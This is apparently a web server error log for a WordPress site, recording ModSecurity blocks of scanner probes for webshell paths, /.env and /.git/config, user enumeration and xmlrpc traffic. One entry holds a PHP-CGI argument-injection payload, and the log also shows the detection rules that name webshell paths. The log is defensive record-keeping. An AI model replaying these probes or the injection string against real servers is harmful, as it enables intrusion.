[Thu Apr 09 08:16:13.127843 2026] [:error] [pid 22627:tid 22651] [client 85.203.23.121:60229] [client 85.203.23.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/codemirror/config.php"] [unique_id "adbvzfr8glsF_jKQpr58cAAAARU"]
[Thu Apr 09 08:16:15.021978 2026] [:error] [pid 20537:tid 20621] [client 85.203.23.118:48955] [client 85.203.23.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/header.php"] [unique_id "adbvz8STjpSeyrxLmN5GhgAAAJc"]
[Thu Apr 09 08:16:16.995387 2026] [:error] [pid 20535:tid 20560] [client 85.203.23.162:63525] [client 85.203.23.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-bindings/system_core.php"] [unique_id "adbv0AWiD9hWnEUHWdN96wAAABA"]
[Thu Apr 09 08:16:22.324296 2026] [:error] [pid 20536:tid 20592] [client 85.203.23.127:43885] [client 85.203.23.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "adbv1sPqyUJM1s3YpIZMpwAAAFU"]
[Thu Apr 09 08:16:25.903369 2026] [:error] [pid 22627:tid 22646] [client 85.203.23.146:64649] [client 85.203.23.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/filemanager.php"] [unique_id "adbv2fr8glsF_jKQpr58qgAAARA"]
[Thu Apr 09 08:16:52.849384 2026] [access_compat:error] [pid 20536:tid 20574] [client 85.203.23.139:25777] AH01797: client denied by server configuration: /home/gigfrag/public_html/wp-content/updraft/plugins-old/updraftplus/vendor/team-updraft/
[Thu Apr 09 08:16:53.042375 2026] [autoindex:error] [pid 20536:tid 20582] [client 85.203.23.139:25777] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 08:16:54.946451 2026] [autoindex:error] [pid 20536:tid 20590] [client 85.203.23.139:25777] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 08:16:55.040357 2026] [autoindex:error] [pid 20536:tid 20584] [client 85.203.23.139:25777] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 08:17:17.297293 2026] [:error] [pid 20536:tid 20580] [client 85.203.23.139:25777] [client 85.203.23.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/archives/"] [unique_id "adbwDcPqyUJM1s3YpIZM3gAAAEk"]
[Thu Apr 09 08:17:17.499523 2026] [autoindex:error] [pid 22627:tid 22653] [client 85.203.23.119:29031] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/archives/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 08:17:17.603781 2026] [autoindex:error] [pid 22627:tid 22631] [client 85.203.23.119:29031] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/code/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 08:17:17.818170 2026] [autoindex:error] [pid 22627:tid 22633] [client 85.203.23.119:29031] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/block-library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 08:17:19.565834 2026] [autoindex:error] [pid 22627:tid 22641] [client 85.203.23.119:29031] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 08:17:22.765349 2026] [autoindex:error] [pid 22627:tid 22634] [client 85.203.23.119:29031] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 08:17:25.907736 2026] [autoindex:error] [pid 22627:tid 22651] [client 85.203.23.119:29031] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 08:17:26.007304 2026] [autoindex:error] [pid 22627:tid 22648] [client 85.203.23.119:29031] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 08:17:33.503423 2026] [autoindex:error] [pid 22627:tid 22641] [client 85.203.23.119:29031] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 08:17:33.598771 2026] [autoindex:error] [pid 22627:tid 22643] [client 85.203.23.119:29031] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/mediaelement/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 08:17:33.699215 2026] [autoindex:error] [pid 22627:tid 22653] [client 85.203.23.119:29031] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 08:17:33.811985 2026] [autoindex:error] [pid 22627:tid 22636] [client 85.203.23.119:29031] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 08:17:33.906111 2026] [autoindex:error] [pid 22627:tid 22646] [client 85.203.23.119:29031] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 08:17:34.008167 2026] [autoindex:error] [pid 22627:tid 22640] [client 85.203.23.119:29031] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 08:17:34.114502 2026] [autoindex:error] [pid 22627:tid 22649] [client 85.203.23.119:29031] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 08:17:34.210772 2026] [autoindex:error] [pid 22627:tid 22652] [client 85.203.23.119:29031] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 08:17:37.306985 2026] [:error] [pid 22627:tid 22654] [client 85.203.23.119:29031] [client 85.203.23.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/filester/assets/css/404.php"] [unique_id "adbwIfr8glsF_jKQpr59gwAAARg"]
[Thu Apr 09 08:17:42.596067 2026] [:error] [pid 20537:tid 20613] [client 85.203.23.147:21513] [client 85.203.23.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/about.php"] [unique_id "adbwJsSTjpSeyrxLmN5HJgAAAI8"]
[Thu Apr 09 08:23:48.777421 2026] [:error] [pid 22627:tid 22649] [client 182.44.67.97:35189] [client 182.44.67.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adbxlPr8glsF_jKQpr6FZQAAARM"]
[Thu Apr 09 09:30:18.470805 2026] [authz_core:error] [pid 20535:tid 20566] [client 209.38.208.202:38106] AH01630: client denied by server configuration: /home/gigfrag/public_html/server-status
[Thu Apr 09 09:30:26.590135 2026] [:error] [pid 20537:tid 20605] [client 209.38.208.202:38150] [client 209.38.208.202] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env"] [unique_id "adcBMsSTjpSeyrxLmN5gywAAAIc"]
[Thu Apr 09 09:30:31.824654 2026] [:error] [pid 22627:tid 22636] [client 209.38.208.202:38630] [client 209.38.208.202] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "adcBN_r8glsF_jKQpr62yQAAAQY"]
[Thu Apr 09 09:30:41.207812 2026] [:error] [pid 22106:tid 22116] [client 209.38.208.202:44930] [client 209.38.208.202] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd cgi.force_redirect=0 \\xadd disable_functions="" \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/usr/local/apache/modsecurity-cwaf/rules/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||www.gigfragments.org|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd cgi.force_redirect=0 \\x5cxadd disable_functions=\\x22\\x22 \\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd cgi.force_redirect=0 \\xadd disable_functions=\\x22\\x22 \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "www.gigfragments.org"] [uri "/php-cgi/php-cgi.exe"] [unique_id "adcBQd_kBF6GipFPewKnEgAAAUc"]
[Thu Apr 09 09:30:57.086101 2026] [:error] [pid 20641:tid 20662] [client 209.38.208.202:54156] [client 209.38.208.202] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.gigfragments.org|F|2"] [data ".axd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.gigfragments.org"] [uri "/trace.axd"] [unique_id "adcBUW3LksBSF-6rlkbRsgAAANE"]
[Thu Apr 09 09:31:01.513321 2026] [proxy_fcgi:error] [pid 20641:tid 20659] (32)Broken pipe: [client 209.38.208.202:40980] AH01075: Error dispatching request to : (sending empty stdin)
[Thu Apr 09 14:41:02.307966 2026] [:error] [pid 24927:tid 24949] [client 212.178.17.220:52995] [client 212.178.17.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.178.17.220, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "addJ_jXObuzEuw8mNJt4SwAAARM"], referer: https://gigfragments.org/
[Thu Apr 09 14:41:04.478097 2026] [:error] [pid 24927:tid 24951] [client 212.178.17.220:53149] [client 212.178.17.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.178.17.220, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "addKADXObuzEuw8mNJt4UAAAARU"], referer: https://gigfragments.org/wp-login.php?action=register
[Thu Apr 09 14:43:35.911081 2026] [:error] [pid 24516:tid 24559] [client 182.42.105.144:37167] [client 182.42.105.144] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "addKl9hW7vSS-UkeWCX5dAAAAEw"]
[Thu Apr 09 17:26:47.502101 2026] [:error] [pid 24927:tid 24935] [client 79.137.64.41:52284] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "addw1zXObuzEuw8mNJvJ7AAAAQU"]
[Thu Apr 09 17:26:49.485250 2026] [:error] [pid 18477:tid 18498] [client 79.137.64.41:45240] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "addw2cDe826HlFeoLPJa9wAAAVM"]
[Thu Apr 09 17:26:51.251074 2026] [:error] [pid 24516:tid 24558] [client 79.137.64.41:38628] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "addw29hW7vSS-UkeWCUTzAAAAEs"]
[Thu Apr 09 17:26:53.148249 2026] [:error] [pid 24927:tid 24930] [client 79.137.64.41:38634] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "addw3TXObuzEuw8mNJvJ8AAAAQA"]
[Thu Apr 09 17:26:55.067964 2026] [:error] [pid 24927:tid 24943] [client 79.137.64.41:38638] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "addw3zXObuzEuw8mNJvJ9gAAAQ0"]
[Thu Apr 09 17:26:56.965121 2026] [:error] [pid 18477:tid 18480] [client 79.137.64.41:38644] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "addw4MDe826HlFeoLPJa_wAAAUE"]
[Thu Apr 09 17:26:58.874681 2026] [:error] [pid 24515:tid 24521] [client 79.137.64.41:38660] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "addw4q1OMnvM2fMnB1NkXQAAAAI"]
[Thu Apr 09 17:27:00.779630 2026] [:error] [pid 20837:tid 20852] [client 79.137.64.41:58050] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "addw5PSL71FHZkjrGzO9PAAAAY0"]
[Thu Apr 09 17:27:02.667437 2026] [:error] [pid 24927:tid 24931] [client 79.137.64.41:58062] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "addw5jXObuzEuw8mNJvKUAAAAQE"]
[Thu Apr 09 18:10:51.594445 2026] [:error] [pid 18477:tid 18490] [client 43.135.115.233:40300] [client 43.135.115.233] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "add7K8De826HlFeoLPJw0QAAAUs"]
[Thu Apr 09 19:43:24.455023 2026] [:error] [pid 24516:tid 24555] [client 176.246.206.34:63496] [client 176.246.206.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.246.206.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adeQ3NhW7vSS-UkeWCUo6QAAAEg"]
[Thu Apr 09 20:10:56.262467 2026] [:error] [pid 24515:tid 24519] [client 201.77.166.86:46271] [client 201.77.166.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.77.166.86, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adeXUK1OMnvM2fMnB1OeVwAAAAA"]
[Thu Apr 09 21:21:52.870781 2026] [:error] [pid 24624:tid 24648] [client 121.229.185.160:58590] [client 121.229.185.160] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aden8O4Jn-WvK1ZBTvjhgQAAANY"]
[Thu Apr 09 21:35:44.609611 2026] [:error] [pid 63331:tid 63333] [client 176.246.206.34:60396] [client 176.246.206.34] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aderMCbKfIYuVjWbE4V5KwAAAcA"]
[Thu Apr 09 21:37:03.903567 2026] [:error] [pid 24515:tid 24542] [client 176.246.206.34:61958] [client 176.246.206.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.246.206.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aderf61OMnvM2fMnB1PG-AAAABc"]
[Thu Apr 09 21:38:18.452750 2026] [:error] [pid 24927:tid 24938] [client 176.246.206.34:50822] [client 176.246.206.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.246.206.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aderyjXObuzEuw8mNJsqOAAAAQg"]
[Thu Apr 09 21:39:38.342391 2026] [:error] [pid 18477:tid 18486] [client 176.246.206.34:49989] [client 176.246.206.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.246.206.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adesGsDe826HlFeoLPKicwAAAUc"]
